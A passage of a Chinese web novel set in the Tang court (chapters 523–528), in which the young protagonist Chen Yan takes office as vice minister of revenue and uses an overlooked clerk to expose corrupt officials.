因为大家都清楚,王珪马上要下来了,魏征和戴胄总要上去一个的。 在现在这种情况下,户部空降了一个户部侍郎,且是李世民的女婿,嫡公主长乐的驸马、庶出,但备受宠爱的高阳驸马。 更是深得长孙皇后喜爱,进立政殿跟回家一样。 最重要的是才区区二十岁,刚刚及冠。 这样的背景,这样的年纪,实在太可怕了! 一部分官员瞬间意识到,这是一个绝对不可招惹的对象,陈衍、陈子安这个名字被他们深深记在了心里。 有很大一部分人已经开始备礼,打算交好这位二十岁的户部侍郎了。 只有很小一撮人,对陈衍的警惕程度拉到了最高,一边跟其他人一样派人准备厚礼,一边又叫信任的人,去外面打探其他的消息。 总而言之,长安原本隐藏着的暗流,似乎有隐隐冒出头的倾向。 可引起这场风波的中心,渭国公陈衍,却跟李泰蹲在阶梯上嗦着面条。 “滋溜~” 李泰咽下一口面,吧唧着嘴问:“陈兄,现在外面可不平静,你就没什么想说的吗?” “说啥呀?”陈衍看着碗里的面条,似乎有些可惜,“吃面不吃蒜,香味少一半,下次得让张姨注意下这个问题。” 李泰下意识地点点头,随后反应过来,有些无语,“我让你说说关于外面的事,你跟我说吃面不吃蒜?” “嗯!那不然呢?” 陈衍喝了口汤,咂咂嘴,“这面啊,就得趁热吃,这样味道才好。如果冷了,就会坨,所以必须得热的才行!” “热的其实也不完美,就像我方才说的,吃面不吃蒜,香味少一半。” “因为什么呢?” 他自顾自道:“因为蒜是猛料,刺激大,还辣!” “就跟人一样,平静的生活不能持续太久,否则就会觉得无趣!” “合适的时候,就得来点刺激的,够劲儿!” “......” 第523章 少时凌云志 十月底,星星点点的小雪花飘零。 陈衍今日起了个大早,穿戴整齐衣物,慢条斯理地吃完早饭,在正厅一个人坐了许久,像是在思考什么。 眼看时辰差不多了,便带着自己的鱼符,前往吏部。 这是上任之前的必要流程,不是说圣旨下来,你马上就是户部侍郎,而是要先去吏部办任职的手续。 哪怕是宰相,在理论上来说,都需要经过吏部登记。 当然了,宰相的地位已经大不同了,一般称之为“拜相”或“入相”,整个过程是一系列高规格、公开化的国家级典礼,远非普通的行政登记。 不过从这也能看得出来吏部的权力之大,为什么能跟户部这个掌管国家税收、户籍的部门相提并论了。 踏入皇城,经过尚书省总建筑的时候,陈衍瞥了眼旁边一处庞大院落。 那里便是户部的‘廨署’,是今后自己要经常待的地方。 而另一侧院落,就是他此行的目的地,吏部了。 走进吏部,许多吏部办公的官员见他到来,纷纷殷勤地围上来。 “哈哈哈,陈侍郎,您今日是前来备案的吗?来来来,这边请。” 一名看着三十、接近四十岁,身高只到陈衍胸口的人热情地迎上来。 他名范远,乃是吏部四司的头司‘吏部司’,从五品上,官位不小。 陈衍这段时间狠狠恶补了目前朝堂上的主要官员,当范远过来时,脑子里就浮现了这个人的消息。 出身寒门,贞观元年靠着科举入仕,是当时的寒门代表人物。 而且他很会来事,对谁都客客气气的,短短五六年,便坐到了吏部司郎中的位置。 不过围上来的人可不止范远一个,以陈衍现在的风头,想巴结他的人多了去了。 陈衍唯独对范远观感好很多。 不为其他,就因为这人是寒门出身,没有背景,没有依靠,一步一步地慢慢走上来。 是个人物! 陈衍客气地拱手,“范大人,那就麻烦你帮帮忙了,你也知道,我十一月初便要上任,时间挺赶的。” “没问题,包在下官身上。”范远拍着胸脯道。 其余之人还想说什么,一道严厉的声音从后面传来。 “干什么呢?一群人围在这里做什么?” “手头的事情做完了吗?还是说闲得没事干?如果实在闲,那就去把吏部上上下下清扫一遍!” 长孙无忌走过来,呵斥那些围着陈衍的人离去。 范远对陈衍露出一个歉意的表情,讪讪地便要离去。 然而,长孙无忌却叫住了他,“你去帮陈侍郎备案一下,我跟陈侍郎聊聊。” “哎哎,好嘞。”范远一喜,赶忙应了下来。 随即就带着陈衍递过来的信物离开了。 长孙无忌道:“走吧,咱俩找个地方喝杯茶。” 陈衍微笑着颔首,“那就恭敬不如从命啦。” “你啊!” 长孙无忌点了点头,失笑着摇头,领着陈衍来到一间颇为有书香气的屋子内,里面设施大多是一些书籍,中间摆着一张案几,墙角还有一张床榻。 看起来应该是长孙无忌平时累了休息的地方。 “来,你上次送给我的茶,现在我是越喝越上瘾了。”长孙无忌给他倒了杯热茶。 “如果您喜欢的话,下次直接派人去陈氏茶楼拿就好,我不跟您客气,您也别跟我客气。”陈衍爽朗道。 “那感情好。” 长孙无忌笑笑,“你恐怕还不知道,自从你的茶楼开了之后,大唐已经逐渐兴起了喝茶的热潮。” “现在家里来了客人,你不上杯茶,人家都觉得你在看不起他。” 陈衍眨眨眼,顿了顿,“齐国公,我怎么感觉您话里有话呢?” “是在暗示我在渐渐改变大唐吗?” 听到这话,长孙无忌那叫一个舒心,“跟你说话那真是太轻松了,不错,我就是这个意思!” “你带给大唐的改变实在太多,原本的大唐是一步一步地往前走,但现在大唐给我的感觉,就像是乘坐马车,一路快马加鞭地疾驰!” “从大局上看,这当然是无可争议的好事!天大的好事!” “不过,你也不能否认很多顽固分子厌恶这种新事物,很难接受如此之快的改变!” “就好比历史上,还有不少人喊着要恢复周礼。” 陈衍不置可否,“跟不上时代的人,终将被时代抛弃,被历史浪潮拍死在洪流之中。” “我明白您的意思,不过我的敌人真心不少,多几个少几个都无妨!” “此刻,我就站在这里,纵使八方来敌又如何?” 一席话落下,长孙无忌彻底怔住了。 他眼神一时失神,那些藏在记忆深处,已经变得模糊的回忆再度涌上心头。 昔年,他好像跟李世民也是如此般自信,无惧一切,即便陷入困境,亦毫不犹豫地大步往前。 而现在,他不知不觉已经半截身子埋入了土中,再也找不回那时的心气了。 “年轻......真好啊。”长孙无忌有感而发。 陈衍反问:“齐国公认为,什么才是真正的年轻?是如我这般,方才及冠的年轻,还是自身心态保持着年轻才算真正的年轻?” 长孙无忌沉吟道:“应该是二者兼具吧,你现在不仅是年纪年轻,心态也年轻,我觉得这才是真正的年轻。” “那我跟齐国公有不同的看法。”陈衍摇头,“我倒觉得,年轻不在于年岁,也不全在心气,而在是否还敢‘重新开始’。” “有的人二十已老,因为他固守一隅,不再好奇、不再敢试。有人白发苍苍,却仍愿意推开新窗,看看不一样的天气。” “齐国公,少时凌云志,人间第一流!” “您难道已经忘了吗?” 长孙无忌握着茶杯的手微微一顿。 屋里静了片刻,只有茶香袅袅浮动着。 窗外,细细的小雪不知道什么时候停了,薄薄的日光正试着穿透云层,映在书架上,一格一格,亮堂堂的。 “.......” 第524章 理、德 在吏部备案过,隔了一天,马上要进入十一月初。 这也就意味着陈衍要上任了。 这次不同于去渭南县当县令,那就是一个小县城,随意点无所谓,因为那里他就是最大的。 但这次是要去户部任侍郎,而且明年初就是户部尚书,各方面细节都要做到位。 所以在上任的前一天晚上,李丽质和高阳各种忙碌,提前准备好官服啊,腰带啊,七七八八的,什么都考虑到了。 陈衍望着她们上心的模样,挠挠头,“你们别忙活了,差不多就行了,我是去上任,明面上是户部二把手,实则是一把手,谁敢说我什么?” “仪容仪表注意好,官服什么的穿戴整齐就行了,搞那么多做什么?” “你废什么话呢?”高阳闻言转过身,叉着腰,“又不是你忙活?你搁那坐着话怎么还那么多?” “再说了,还不是因为你自己不上心,要不然我跟姐姐至于如此吗?” “得,我闭嘴。”陈衍直接靠在椅子上,不说话了。 这时,高阳一拍额头,急忙从自己的小柜子里翻出了从前陈衍给她的玉佩。 “差点忘了还有玉佩,这是母后当初赐给你的,你即将上任了,拿回去吧。” 看着面前的玉佩,陈衍表情古怪,李丽质也抿了抿唇。 记得贞观四年的时候,因为这块玉佩,她跟高阳险些掐起来。 后来在陈衍和高阳大婚晚上,被高阳要走了。 接过玉佩,陈衍拿在手中把玩了一下,似笑非笑道:“怎么,不继续留着了?不怕我今后再给其他女子?” “你给去吧,你敢给我就敢偷人。” 陈衍:“......” “高阳!”李丽质神色一肃,语气严厉了些,拿出了自己身为姐姐的威严。 她是真的很不喜高阳说这种话。 哪有已婚的女子整天喊着自己要去偷人的? 况且还是皇家公主! 高阳瘪瘪嘴,“知道啦,姐姐,我以后不说了。” 李丽质神情这才缓和下来,仔仔细细整理好陈衍的官服,又放在托盘上,把他明天要用到的东西全放在一起,免得明天不小心落下了。 “夫君,长安终究跟渭南县不同,以后在外面的时候,还是别太随意了。”她委婉地提醒。 陈衍一只手撑着下巴,“长安确实跟渭南县不同,但在某种程度上,长安又跟渭南县没有任何区别。” “我知道你在担心我,不过你应该多给我些信任,我其实蛮有分寸的。” 李丽质瞥了眼角落陈衍命人打造的东西,默不作声。 嗯,你说得对! 你最有分寸了。 高阳则没那么多顾虑,嗤笑:“也不知道谁,头一次进常朝,就当着文武百官的面,指着人骂彼其娘,还让他们不服就去渭南县跟你碰碰。” “你可太有分寸了。” “哎!”陈衍谦虚道:“好汉不提当年勇,此事就莫要再提了,否则的话我会骄傲的。” “更何况,你只看到我在满朝文武面前骂娘,但你没看到我骂完之后,我依旧全身而退,没人因此找过我麻烦。” “现在谁提起这件事不是一脸敬佩?” “我就问你除了我之外,还有谁干过这事?” “你程伯伯以及你尉迟伯伯!”高阳挑眉,“他们俩不仅骂了,还把那姓崔的给打了,听说最近才下床呢。” “哦,顺便说一句,那姓崔的还是他夫人的娘家人。” 陈衍:“......” 好吧,程咬金和尉迟恭确实比他猛! 不得不服。 “行了,这件事你们别管。”陈衍拍拍衣服,站起来,“我上次进宫的时候,陛下跟我提过这事,他让我该骂的时候骂,他帮我兜底呢。” 李丽质向来聪明,瞬间明白了里面的意思。 她随即便不再提起此事,想了想,说:“夫君,有件事我一直压在心里未曾跟你提过,因为我记得你在成为国公的时候提起过,所以我就没说。” “到了现在,我想我该提醒你......你该犯点错了。” 大家都笑程咬金和尉迟恭是武夫,大字不识一个,更不讲理,满身的粗鄙之气。 可又有几人能看得出来,程咬金他们才是真正的聪明人呢? 听到李丽质的话,陈衍和高阳双双一怔,前者饶有兴趣地问:“那你认为我现在犯错是好机会吗?” “这......”李丽质一时语塞。 现在陈衍马上要上任户部侍郎,年初更是要上任户部尚书,怎么能犯错? 倘若主动找错犯,那岂不是给人抓住把柄吗? “这件事,我从未忘记过,只是在渭南县我确实找不到什么好的机会。”陈衍很耐心道: “我很清楚自己目前的情况是怎样,深得你们父皇母后独宠,又被太子全心信任,现在区区二十岁即为朝之重臣,未来还有扶龙之功。” “你们说,我敢忘记这件事吗?” 不给她们说话的机会,陈衍继续道:“不过此事急不来,不能跟程伯伯他们一样,谁都看得出来他们在主动惹事。” “今天在私下里,我跟你们谈谈我的打算。” “明年你们父皇打算动兵,但知晓此事的人很少,只有区区几人,掰着手指头都数得过来。” “他一定会在明年初的时候跟文武百官提起此事,而此事已经不可更改,不管谁反对都没用。” “届时,为了打赢战争,六部必将全面开始动起来,户部更是重中之重,那个时候才是犯错的好机会。” 陈衍语重心长道:“只要把握好度,在不影响大局的情况下,那就无伤大雅。” 听他这样说,李丽质更担心了,“那你别玩脱了,此事倒也没那么急,反正有我和妹妹以及阿娘在,终究是威胁不到性命的。” “战争之事太过重要,最好不要选在那个时候。” 高阳一个劲地点头,她很叛逆,但她更爱陈衍。 “放心吧。” 陈衍咧嘴,用下巴点了点角落的小玩意。 “即使不在那个时候犯错,那我不是还有‘理’跟‘德’吗?” “我这个人,主打的就是一个心善,对于反驳我的人,通常不会动手,只会动‘理’,实在不行再讲‘德’。” 李丽质和高阳望着那两块分别印着‘理’和‘德’的大板砖,沉默不语。 “......” 第525章 何恒、康崇 十一月初,今天对于户部来说,是一个特别的日子。 因为那位年轻的户部侍郎就要在今天上任了。 实际上,前两天的时候,不止是李丽质他们在做各种准备,户部也是。 毕竟那可是户部侍郎,户部的二把手,而且背景硬得不能再硬,户部的人不得不重视啊。 特别是,现在的户部高层很多已经被陈衍的人占领了。 杜构、房遗直两人还要在陈衍之前上任,马周同样在前段时间调了过来。 在今天下朝之后,户部的人便马不停蹄地赶往户部廨署厅堂,准备迎接那位即将上任的户部侍郎。 回程的路上,仓部司的何恒揣着手,压低声音询问身旁的韩仲良,“韩大人,您对今天要上任的那位陈侍郎怎么看? “下官可是听说了,他背景深厚无比,不谈陛下和皇后殿下,连最顶上那几位大人都对他大肆赞扬。” “不仅如此,那几位大人更是连自己的长子都安排在了他手底下,他去渭南县,便让自己的长子跟着去。回到长安进户部,同样提前把长子安排了进来。” “前几日上任的几位侍郎中便是。” 韩仲良顿了顿,斜睨着他,“本官能怎么看?本官坐着看,弯着腰抬眼小心翼翼地看。” 何恒讪笑,“韩大人您说笑了,户部谁不知道您兢兢业业,多次协助戴大人推行制度,劳苦功高。那位陈侍郎没来之前,就对户部进行了一次大清洗,从前多少同僚被挤了下去。” “已经告别官场的刘侍郎因为身体原因也就罢了,但之前那些侍郎中要么被刷了下去,要么被调到其他地方。” “这可是只下山虎啊!您就不担心他年轻气盛,要大肆揽权吗?” 到了现在,戴胄即将离开户部的事,大家已经心知肚明了。 但由谁来接任户部尚书,却没有一个准信。 何恒的话,无疑是在暗示韩仲良陈衍是个极大的变数,要早做打算。 韩仲良微微叹息。 对于何恒的心思他再清楚不过。 何恒自己不可能成为户部尚书,但他也是户部的老人了,在这个位置干了很多年。 论资历,论功绩都不差。 如果户部尚书不是由其他地方调来的,而是由户部内部的人升上去,那么韩仲良无疑是最有可能的那个。 倘若韩仲良升上去,那么他何恒是不是也有机会更进一步,坐到韩仲良现在的位置呢? 而韩仲良之所以叹息,就是因为,他从一开始就已经暗示过何恒了。 他现在对于陈衍能坐着看,今后就要低头抬眼小心翼翼地看了。 可惜何恒并不明白。 “唉~” 韩仲良想了想,看在跟何恒多年同僚的份上,直言警告道:“本官劝你莫要打什么歪心思了,你方才自己也说陈侍郎是只下山虎。” “那你难道不清楚下山虎代表着什么吗?” “猛虎下山,势不可挡!” “今后,本官劝你做好自己的分内之事,该做的做好,不该做的千万别碰,如果你依然想耍些小聪明,那你从现在开始离本官远点。” “本官怕等你身上火烧起来的时候,热到本官!” 何恒:“......” 他怔了良久,望着韩仲良挥袖离去的背影,皱了皱眉。 仔仔细细回忆了一遍韩仲良每一句话,他恍然大悟,随即额头的冷汗立马就下来了。 何恒顿时明白,今天自己欠了韩仲良一个大人情。 “......” 户部廨署厅堂,这里是户部侍郎、侍郎中平日里处理公务,接见属官的重要场所。 而在杜构他们下朝之前,陈衍便早早来到了这里,坐在一张椅子上,淡淡品着茶。 下方有不少的户部官员低眉顺眼,大气不敢喘一口。 在户部主要人物回来之前,他们这些小卡拉米面对这位新任户部侍郎,实在不敢过多言语。 而陈衍也不在乎他们,唯一让他感兴趣的,是下方一个约莫四十岁出头,头发却已经半白的人。 “你叫什么名字?” 陈衍发问。 起初那人还没反应过来,以为陈衍在跟其他人说着话,依旧弯腰埋着头。 直到旁边的同僚用手肘捅他,他才如梦初醒,慌忙悄悄看了一眼,发现陈衍嘴角含笑看着自己,急忙道: “回大人,下官姓康,名崇,字守义......” “康守义!”陈衍夸赞道:“很好的名字啊!” 康崇惶恐,“没有没有,家中长辈胡乱取的而已,大人谬赞了。” “是吗?”陈衍不置可否,转而问:“我看过你的生平记载,你出身在北方的一个小县城,家中贫寒,两位弟弟被派去修大运河,一去不回。” “而你靠着父母辛勤劳作,妻子日夜纺织,四处求学,年仅二十五岁,便靠着科举入仕,且得太上皇看好,让你入了户部。” “可过去了这么多年,你为何还只是个度支司的‘员外郎’呢?是因为年少时才气穷尽了吗?” 康崇沉默,拱手道:“如大人所说,下官......穷尽了才气,比不得那些高升的同僚,最多只能坐到这个位置了。” “是下官......让大人、让太上皇失望了。” 陈衍扭头,“可我怎么听说,你是被之前那位刘侍郎一直压着呢?” “听说你年少成名,意气风发,长相更是出众,得了前面那位刘侍郎欣赏,想把女儿嫁给你。” “啧!” “我已经能想象到你当时有多么出色了,科举入仕,当朝圣上关注,顶头上司欣赏......” 陈衍摇头感慨,“可以说,平步青云的机会就在眼前,今后的路一片坦途。” 康崇再度沉默,只是他这次却一句话也说不出来了。 陈衍不再提起这事,捏了捏茶杯盖,漫不经心道:“都说,新官上任三把火,用来立威。” “来上任之前,有人跟我说,这是一件很重要的事,特别是对于我来说!” “因为我年轻嘛!” “俗话说得好,嘴上无毛,办事不牢,所以我才要把火烧得更大一点,如此才能立威,让手下的人信服,否则你们今后一个个不服我,阳奉阴违,我岂不是很难办?” 一席话落下,众人的脸都白了! 特别是康崇,他此刻已面如死灰! “......” 第526章 斩断枷锁的刀 目前在场的,最高的也就是康崇这样的六品‘员外郎’,其他的就更不用说了。 面对眼前这位新任户部侍郎,即便人家明明白白地告诉你,我今天就是要烧一把火,找一些人立威,但他们却毫无办法。 当陈衍目光扫过来的时候,所有人的头埋得更低了,生怕自己成为那个杀鸡儆猴的对象。 而被陈衍提起,问了几个问题的康崇心如死灰,已经开始考虑要不要带着老娘和妻儿返回家乡了。 长安,不是他这种毫无背景之人能混得开的。 陈衍摸着下巴,“前些天,我有一个友人跟我讲,户部因为职责问题,一个小小九品官员,能捞的油水足以让一名六品官眼红。” “更别说类似康守义这种,负责审核各州、各部上报的支出需求,平衡与核算的度支司‘员外郎’了。” “比如你要是想贪,那么只需在账上动动手脚,被划出去的那部分,自然就落入了口袋。” 他微笑道:“既然要立威,那么最好的选择自然是找贪官,这样一来,不仅无错,反倒上任就能在履历上记下一笔功劳。” “且立威的目的还达到了,你们说有没有道理?” 众人沉默,其中一人赶忙站出来表示,“大人有所不知,当前的尚书大人眼里容不得沙子,在贞观四年的时候,便大肆彻查了户部,贪官污吏已经全部被尚书大人按照律法处置了。” “不瞒您说,下官等人确实有捞油水的机会,但......我们确实没捞过,也不敢捞。” “嗯?”陈衍颇为诧异,盯着站出来那人,“你叫什么名字?” “下官贺勋。”贺勋恭敬拱手。 陈衍了然,想起了这个人,一位七品主事。 现在看起来挺不错的,至少敢开口说话。 “你说得很对,尚书大人的为人,我了解一些,他确实是位眼里容不得沙子的人。” 陈衍先是点头肯定了贺勋的话。 当听到他这样说的时候,很多人紧绷的神经刚松下来些,便听陈衍话锋一转: “不过,距离尚书大人进行彻查已经过去了两年,我怎么知道,在这两年里,你们其中有人没扛得住诱惑,从而利用职务之便,充实自己的口袋呢?” 此刻,在场官员的心再度提了起来。 陈衍站了起来,缓缓走下去,“我刚来,你们可能对我不太了解,或许有些人听说过一点,但这不重要,重要的是,我这个人讨厌麻烦,最是讲究效率。” “查!我不想费那个心思,因为你们今天能站在这里,要么真的没贪,要么就是藏得很深。” “要不这样吧,你们自己来说说!” “谁贪了,自己站出来,我保证你家人无恙,如何?” 当他的话音落下,堂中瞬间安静了。 他们做梦都没想到,这位新来的侍郎,竟然让他们自己说有没有贪污? 这是能说的吗? 先不说他们有没有贪,就算有,那他们也不可能说啊! 陈衍不管他们怎么想,笑呵呵地来到康崇身后,伸手拍在他肩膀上。 康崇浑身一个激灵,腿都软了。 “康员外郎,你贪了吗?” 康崇吞了口唾沫,额间冷汗直流,“下官以性命起誓,在位期间,从未贪过一丝一毫,如违此誓,愿遭天打雷劈!” “嗯~” 陈衍拖长了语调,似在琢磨,“其他人我也不想问,大概会跟你的回答差不多,有的毒誓或者比你发得还重!” “呐!” “这样,我给你一个机会,康守义啊康守义!” 陈衍两只手搭在康崇肩膀上,强行掰着他直起身子,然后面对着户部一众官员: “你在户部太多年了,资历是最老的一个,你来告诉我,他们之中......有没有人贪污?” 说完,他又补了一句,“如果你说没有的话,我可能会失望。” “但如果你指出来的话,从今往后,你就有背景了......” 那一刻,康崇脑中一片空白。 堂中落针可闻,所有人的目光都聚集在康崇脸上。 他张了张嘴,却发不出声音。 陈衍看见人群里有人眼神躲闪,有人面色发白,也有人垂着眼,手指在袖中微微发抖。 然而他却什么都没说,只是淡淡笑了笑,“康守义!你为什么不说话?” “大人......下官......” 康崇呼吸急促,手脚冰凉,内心是拒绝的。 这些年,他不是没有察觉账目上细微的不对劲,某些同僚突然宽裕的家用,醉酒时几句含糊的炫耀...... 可他从来不敢深想,也不敢说。 他是个没有背景的员外郎,能坐在这个位置,已是用尽了半生气力。 但他更不敢得罪陈衍,因为他太清楚类似他这样的小人物,在大人们面前到底有多么渺小。 或许在外人眼里,是他户部的六品员外郎,可在陈衍这样的人面前,他什么都不是。 再者...... 康崇承认,他因为陈衍最后那句话狠狠心动了。 为什么他当初一个寒门出身,二十多岁靠科举入仕,连太上皇李渊都有些关注的天之骄子,到现在郁郁不得志,才到中年,已是头发花白? 不正是因为自己不愿意抛弃糟糠,娶前刘侍郎的女儿吗? 这十几年以来,康崇从最初的坚信自己可以靠着努力和才华,打破来自上层的压制。 然而随着一年又一年过去,他渐渐感到疲惫,从最初的意气风发,到逐渐开始失去信心,再到现在不敢挺直腰背的麻木。 直到这一刻,康崇才无比清晰地认识到,自己不过是偶然跃出水面的小鱼,随便一朵浪花打来,就能将他重新拍回水底。 起初他以为,陈衍挥过来的是一把刀,要将他斩落。 现在才明白,陈衍挥过来的确实是一把刀,但不是要将他斩落,而是要斩断他身上的枷锁。 “......” 第527章 忠诚! 此时此刻,有些人心里已经开始慌了起来。 正如陈衍所言,康崇因为职位原因,且资历太深,长久以来,一些东西难免会被康崇所察觉。 只是以前大家其实都不怎么在意他。 虽说康崇看似职位不低,实则是个谁都能欺负的老实人,哪怕知道什么他也不敢说。 能躲过戴胄两年前的那一次清洗,他们自认为隐藏得很深,而现在,他们只能祈祷康崇能如从前一般,对任何事都选择闭嘴。 即使他们心里清楚这种可能很渺茫。 因为谁都明白,康崇不是没有能力,他只是缺少背景,缺少一个给他提供机会的人。 而现在,那个人来了! “大人......” 就在康崇下定决心要指认的时候,外面传来一阵脚步,打断了他的话。 众人转头望去,只见戴胄背后跟着韩仲良、何恒,以及杜构、房遗直等上朝的官员回来。 某些人心里生出一丝希冀。 幻想着事情或许仍有转机。 “尚书大人!” 陈衍笑笑,拱手行礼。 戴胄环顾一圈,察觉了众官员神色各异的表情,露出一个意味深长的笑。 “行啦,你自己决定着来吧,今日上朝,又同那些挨千刀的吵了起来,有些累了,等你处理完了,再来找我。” 他随手挥了挥,定定扫了一圈,背着手进入了户部深处。 “那下官就谢过尚书大人了。” 陈衍道了声谢。 “不用......哎,我这把老骨头啊,经不起太多折腾,今后是你们年轻人的天下咯。” 戴胄没有回头,只有一道不明所以的言语传回来。 韩仲良闻言更加肯定了心里的猜测,何恒则是暗自庆幸。 如康崇、贺勋这样脑子转得快的,同样意识到了某些东西,头埋得更低了。 “这位应该是韩大人吧?”陈衍先给了杜构他们一个眼神,随即笑着对韩仲良拱手,“今后便是同僚了,我才刚来,还望韩大人日后能多多指教!” 韩仲良闻言心下一松,至少从这句话能听得出来,陈衍应该没对自己抱有恶意。 “从前我父亲总同我说,人外有人,天外有天。今日一见陈侍郎,才知道什么才叫天才,我远不如也。” 韩仲良感慨,而后郑重道:“指教不敢当,陈侍郎今后若哪里不熟悉,尽管吩咐便是。” 他的姿态放得很低,也表明了自己的立场。 陈衍心里对他的评价再次上升了一个层次。 确实如杜构所说,这是个很有自知之明的人。 “陈......侍郎,您这是......” 杜构察觉了场上气氛,也大概猜测到了陈衍想做什么,故此把话题往这边引。 “噢~”陈衍一拍额头,“你看我,差点忘了。” 他招呼众人先回到自己的位置坐下,韩仲良跟他各自坐在上位左右两侧。 陈衍这才开口:“其实也没什么事,来上任前,不是听说户部因为职务之便,很多人抗不住诱惑喜欢拿点不该拿的嘛。” “我寻思着,户部的东西,那都是整个大唐的东西,不该是某个人,被咱们自己的人拿走,陛下倘若哪天问起来,咱们不好交代啊。” “再一个,这种人若是继续留着,岂不成为毒瘤了吗?” “我的意思是清理一下,正巧康员外郎在户部的时间长,而且因为职位的原因,可能对这种事颇为了解,我正问问他有没有手脚多的人呢?” “哦?”杜构眉梢一挑,“康员外郎,有这回事吗?” 杜构是度支司郎中,而康崇是度支司的员外郎,前者比后者高了一级,属于顶头上司。 见他发问,康崇站起身躬身道:“回大人,确实有这回事。” “那你说说!” 杜构皱眉,语气严肃了下来,“正巧今日大家都在,该处理的毒瘤按照规矩处置,如若不然,置我大唐律法于何地?” “又置每年按时交税的百姓于何地?” “连户部的东西都敢伸爪子,必须惩戒!” 陈衍扭头问:“韩侍郎,你认为呢?” 毕竟现在大家都是侍郎,他想立威,还是得照顾一下韩仲良情绪的。 “我认为陈侍郎和杜郎中所言不错!” 韩仲良坚定道:“我们能有今日,全依赖陛下信任、尚书大人重用,既然手掌大权,脚踩高位,那么一言一行皆要对得起陛下、对得起尚书大人,以及天下百姓!” “孔圣曰:在其位,谋其政,既然我们穿上了这身官袍,那么该做的事肯定得做好!” “除了日常公务之外,户部所存在的毒瘤我等也不能视而不见,听而不闻!” 先前他还只是猜测,但戴胄方才离去时那句话,已经差不多让他肯定了心里的想法。 旁边的陈侍郎现在是侍郎,但再过不久,那就是陈尚书了啊。 尚书是什么? 户部绝对的一把手,大唐权力的核心! 更何况,这位陈侍郎太他娘的吓人了,如果不是因为怕犯忌讳,他都不想用下山虎来形容,而是用猛龙过江! 二十岁干到户部尚书,谁知道他过两年是不是得进入群相那个跺一跺脚,整个大唐都得震三震的小圈子里? 面对这样的人,你不抱紧大腿,难道还要跟人家对着干? 那得多蠢啊? 自从戴胄离开,韩仲良心里已经下定了决心! 今后就跟陈衍混了,陈衍指哪他打哪,就跟从前辅助戴胄一样。 我! 韩仲良! 忠诚! “......” 陈衍嘴角扯了扯,心里寻思不愧是当官的,明明可以用一句话解决的问题,非要跟你扯一堆大道理。 听起来挑不出一点毛病。 不过...... 他摸了摸下巴,自己好像也染上这个毛病了。 当然,这不重要! 重要的是,没人跳出来跟他作对,让他有些失望。 原本准备好的‘理’和‘德’今日好像没有了用武之地。 陈衍微叹,手指轻轻敲击着椅把手,似笑非笑地望着下面一众户部官员。 他每敲击一下,就像敲在某些人的心弦上,浑身止不住地颤抖。 “康员外郎,让我们继续回到那个话题吧。” “这些人里,都有谁多长了手脚?” “......” 第528章 拉拢与警告 在这么多大人物的目光注视下,康崇不再犹豫,也不怕得罪人了,一连串报出了七八个名字。 这让陈衍既觉得意外,又觉得有些失望。 意外的是,康崇报的名字大多是六七品官,没有更低的。 失望的是,竟然没有五品的,达不到需要上报李世民的地步。 五品之下的官员贪污或者犯事,只需内部审核、调查、然后送往刑部或者大理寺就好。 简单来说,陈衍就是嫌弃质量不够,整出来的动静不够大,达不到自己想象中的地步! 他甚至还不死心地问了一句,“就这些了吗?要不你再仔细想想?” 康崇眼角抽搐,连杜构、马周等人都是一阵无言。 直接报出来了七八个名字,你还想怎么滴? 看你那一脸失望和急切的表情,你难道还嫌弃这不够? 活阎王啊! 在场的人心里不由浮现出这样的想法。 “陈大人,真的没有了......呃,可能只是下官知道这么多而已,其他的下官就不清楚了。” “那行吧。”陈衍觉得无趣,淡淡扫了眼贺勋。 方才康崇报出的一众名字里,竟然没有这个人。 毕竟他记得,在他问有没有人贪玩时,贺勋是第一个站出来说没有的。 然而,就是因为他这轻描淡写的一眼,贺勋吓得后背冷汗直流。 他是真没想到啊,经过戴胄前两年的大清洗,户部竟然还有这么多蛀虫,即便还没证据证明。 但用脚指头想想也知道,康崇这样的人,敢当着这么多大人的面撒谎吗? 敢报出名字,那必然是有着绝对的把握啊! 想想那时自己信誓旦旦地告诉陈衍,户部绝对没人贪污,敢这样做的人,早被戴胄扫清了,他就觉得脸庞一阵燥热。 羞愧啊! “韩侍郎,我今日才上任,对户部很多东西还不熟,方才康员外郎报出的一大串名字......我很多也不认识。” 陈衍侧头,含笑道:“不如这样吧,麻烦你带着康员外郎具体查明一下,毕竟目前这只是康员外郎的一面之词,我们不能全信,也不能不信。” “具体查清楚,别冤枉了一个好人,也别放过了一个蛀虫,这样是最好的。” “你认为呢?” 韩仲良微怔。 尽管刚刚康崇报出的只是一些六七品官,但胜在数量不少,且隐藏得深,不管谁来处理,那都是一笔不小的功绩。 陈衍就这么让给自己了? 刚上任,不应该急需功绩吗? 况且,今后可能还需上前一步,这样的功绩应该是陈衍急需的才对...... 韩仲良脑子飞速运转,很快,他便想清楚了里面的原因。 从刚刚陈衍失望的表情,以及陈衍的背景来看,这样的功绩或许对他来说可有可无,食之无味,弃之可惜。 但对他来说却是不同了。 他自认为奢求不了户部尚书的位置,但除了吏部之外,其他四部的一把手位置,有生之年可能有机会坐上去。 对他来说,每一点功绩都至关重要! 现在陈衍将功绩放在他面前,是帮助,也是拉拢,更是一种警告。 接了,大家日后就是自己人。 不接...... 那就很难说了。 韩仲良很从心,立刻起身认认真真地道谢。 前面就说了。 他韩仲良! 主打一个忠诚! 另一边,康崇满脸感激。 他明白,陈衍特地让韩仲良带着自己,亦是在拉自己一把。 已经被权势压迫到死寂的心,此刻竟迸发出了温暖的感觉。 康崇已经说不出自己现在到底是什么感觉了,想哭,又想笑,回想起往日年轻气盛的自己,他一句话说不出口。 只深深作揖,朝陈衍拜了下去。 “......” 各自散场,忙公务的忙公务,查贪污的查贪污。 杜构和房遗直,以及马周三人找到陈衍,先是恭喜他上任,随即马周询问道:“大人,咱们今年还有什么目标吗?” 在渭南县的时候,他已经习惯性大方向听陈衍的了,故而上来便问有没有什么打算,或者安排。 “今年没有!”陈衍很直接,“今年的目标,就是站稳脚跟,好好查查户部各方的账本出入,然后按照我从前教你们的办法,进行汇总,报告。” “不管情况如何,元日前,把各种支出、统计汇总成一目了然的报告递上去,让陛下看到。” “明年才是咱们大干一场的时候。” 马周三人听后顿时明白了。 此事他们并不陌生,昔日在渭南县之时,陈衍带领他们做过一样的事。 房遗直蹙眉,“但户部跟渭南县的情况可不同,户部全年的各种支出、收入、以及各种户籍变动实在太多,根本不是渭南县能比的。” “那时我们在渭南县,做一份您说的报告,都花了差不多一个月时间,现在距离元日还不到一个月,能来得及吗?” “来不及就想办法呗!”杜构看得很开,爽朗道:“如子安兄所说,快元日了,尽管我们才来,但那也得让陛下、让诸多大臣看看我们确实在做事。” 